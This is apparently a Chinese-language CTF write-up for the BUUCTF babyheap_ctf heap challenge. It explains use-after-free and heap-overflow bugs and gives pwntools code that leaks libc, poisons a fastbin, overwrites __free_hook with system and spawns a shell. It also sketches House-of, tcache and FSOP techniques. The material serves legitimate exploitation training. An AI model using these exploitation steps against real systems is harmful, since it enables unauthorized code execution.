1. 题目背景与核心挑战解析
BUUCTF的babyheap_ctf是一道经典的堆利用题目,主要考察选手对Linux堆管理机制的理解和实际漏洞利用能力。题目提供了一个存在漏洞的二进制程序,运行在x86_64架构的Linux系统上,开启了NX保护但未开启PIE和RELRO保护,这为我们的漏洞利用提供了关键突破口。
程序的基本功能是允许用户创建、编辑、删除和查看堆块(chunk),但在实现过程中存在几个关键漏洞:
- Use-after-Free漏洞:在释放堆块后未清空指针,导致可以继续使用已被释放的堆块
- 堆溢出漏洞:在编辑堆块内容时,未正确检查输入长度,导致可以覆盖相邻堆块的关键元数据
注意:在实际CTF比赛中,这类堆题目通常会提供libc版本信息。建议使用
ldd命令查看程序依赖的libc版本,这对后续构造利用链至关重要。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与工具配置
2.1 基础环境搭建
推荐使用Ubuntu 18.04或20.04系统进行调试,这两个版本使用的glibc版本(分别为2.27和2.31)在堆管理机制上有明显差异,会直接影响利用方式。建议通过Docker快速搭建隔离环境:
bash复制docker pull ubuntu:18.04
docker run -it --name heap_env ubuntu:18.04
apt update && apt install -y gdb python3 python3-pip
pip3 install pwntools
2.2 关键调试工具
-
GDB with Pwndbg:提供堆可视化功能
bash复制git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh -
Pwntools:Python漏洞利用框架
python复制from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] -
LibcSearcher:快速查找libc偏移
python复制from LibcSearcher import *
2.3 堆调试技巧
在GDB中,这些命令对堆利用至关重要:
heap:显示堆的整体状态bins:查看各类bin的状态vis:可视化当前堆块布局x/20gx <addr>:以8字节为单位查看内存内容
3. 漏洞分析与利用链构建
3.1 逆向工程与漏洞定位
使用IDA Pro或Ghidra对二进制文件进行逆向分析,重点关注以下几个函数:
- create_heap:分配堆块并存储指针
- edit_heap:编辑堆块内容(存在溢出漏洞)
- delete_heap:释放堆块但不清空指针(UAF漏洞)
- view_heap:查看堆块内容
关键发现:
- 全局数组存储堆指针,最大数量通常为10个
- 每个堆块有8字节的size字段存储在前8字节
- edit函数使用
read输入,没有正确的长度检查
3.2 利用链设计思路
典型的利用路径如下:
-
泄露libc基址:
- 通过UAF或堆布局泄露main_arena地址
- 计算libc基址 = 泄露地址 - main_arena_offset
-
劫持控制流:
- 通过堆溢出或fastbin attack修改__malloc_hook或__free_hook
- 通常修改为system或one_gadget地址
-
触发shell:
- 通过精心构造的堆操作触发hook执行
3.3 详细利用步骤
步骤1:堆风水布局
python复制# 创建几个不同大小的堆块
create(0x80, "A"*8) # chunk 0
create(0x80, "B"*8) # chunk 1
create(0x20, "guard") # 防止合并
步骤2:触发UAF泄露libc地址
python复制delete(0) # 释放chunk 0进入unsorted bin
view(0) # UAF读取main_arena地址
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = leak - 0x3ebca0 # 根据libc版本调整偏移
system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
步骤3:Fastbin Attack劫持__free_hook
python复制# 准备fastbin链
create(0x60, "C"*8) # chunk 3
create(0x60, "D"*8) # chunk 4
delete(3)
delete(4) # 形成fastbin链: 4->3
# 通过溢出修改fd指针
payload = p64(free_hook - 0x10)
edit(4, payload)
# 分配伪造的chunk到__free_hook附近
create(0x60, "/bin/sh\x00") # chunk 5
create(0x60, p64(system)) # chunk 6 = __free_hook
步骤4:触发shell
python复制delete(5) # 此时free("/bin/sh")会变成system("/bin/sh")
p.interactive()
4. 常见问题与调试技巧
4.1 偏移计算问题
不同libc版本的偏移可能有显著差异。建议使用libc-database查询:
bash复制./find __free_hook 0x7ffff7dd18e8
./find system 0x7ffff7a523a0
4.2 堆布局失败
常见原因包括:
- 未考虑堆块对齐(通常是16字节)
- 忘记添加保护堆块防止合并
- fastbin大小检查失败(大小必须匹配)
调试方法:
- 在关键操作前后使用
heap命令查看堆状态 - 使用
vis确认内存布局是否符合预期
4.3 one_gadget使用技巧
当直接调用system("/bin/sh")失败时,可以尝试one_gadget:
bash复制one_gadget libc.so.6
在pwntools中使用:
python复制one_gadget = libc_base + 0x4f432 # 示例偏移
edit(6, p64(one_gadget)) # 修改__free_hook
5. 高级利用技术扩展
5.1 House of系列技巧
-
House of Spirit:
- 伪造一个fastbin chunk
- 通过free将其加入fastbin
- 下次分配即可获得任意地址写
-
House of Einherjar:
- 通过off-by-one修改pre_inuse位
- 触发堆合并实现任意地址写
-
House of Orange:
- 在没有free函数的情况下通过堆扩展触发syscall
5.2 Tcache利用
在较新版本的glibc(2.26+)中,引入了tcache机制:
- 每个线程有64个单链表,每个链表最多7个chunk
- 无尺寸检查和安全检查,更容易利用
- 典型利用方式:
python复制# 填满tcache for i in range(7): create(0x80, f"fill{i}") delete(i) # 第8次释放进入unsorted bin create(0x80, "target") delete(7)
5.3 多阶段泄露技术
当ASLR使地址随机化时,可能需要多阶段泄露:
- 先泄露堆地址
- 根据堆布局计算目标地址
- 再泄露libc地址
- 最后构造ROP链或hook覆盖
6. 防御绕过技巧
6.1 绕过size检查
现代glibc增加了更多安全检查:
- fastbin的size必须匹配
- chunk对齐检查
- 通过精心构造的堆布局可以绕过:
python复制# 伪造size字段 payload = b"A"*0x18 + p64(0x21) # 伪造下一个chunk的size edit(0, payload)
6.2 应对GOT表保护
当RELRO为Full时,需要转而攻击:
- __malloc_hook / __free_hook
- _IO_list_all (通过FSOP)
- exit函数中的指针
6.3 堆栈协同利用
结合栈溢出实现更稳定的利用:
- 通过堆漏洞泄露栈地址
- 在栈上布置ROP链
- 劫持控制流到栈上的ROP链
7. 实战心得与注意事项
-
保持堆状态可视化:在每次关键操作后检查堆状态,确保符合预期。我习惯在纸上画出堆布局图,标注每个chunk的状态和指针。
-
注意libc版本差异:不同Ubuntu版本的libc偏移可能相差很大。建议在本地搭建与远程完全相同的环境,或者使用Docker容器。
-
利用脚本的模块化编写:将常用操作封装成函数,方便调试:
python复制def create(size, data): p.sendlineafter(">", "1") p.sendlineafter(":", str(size)) p.sendafter(":", data) def delete(idx): p.sendlineafter(">", "2") p.sendlineafter(":", str(idx)) -
重视错误处理:在脚本中添加错误检测逻辑,比如检查返回地址是否包含\n等截断字符。
-
时间管理:CTF比赛中,如果30分钟内无法突破,建议先记录当前进展转战其他题目,避免陷入时间陷阱。
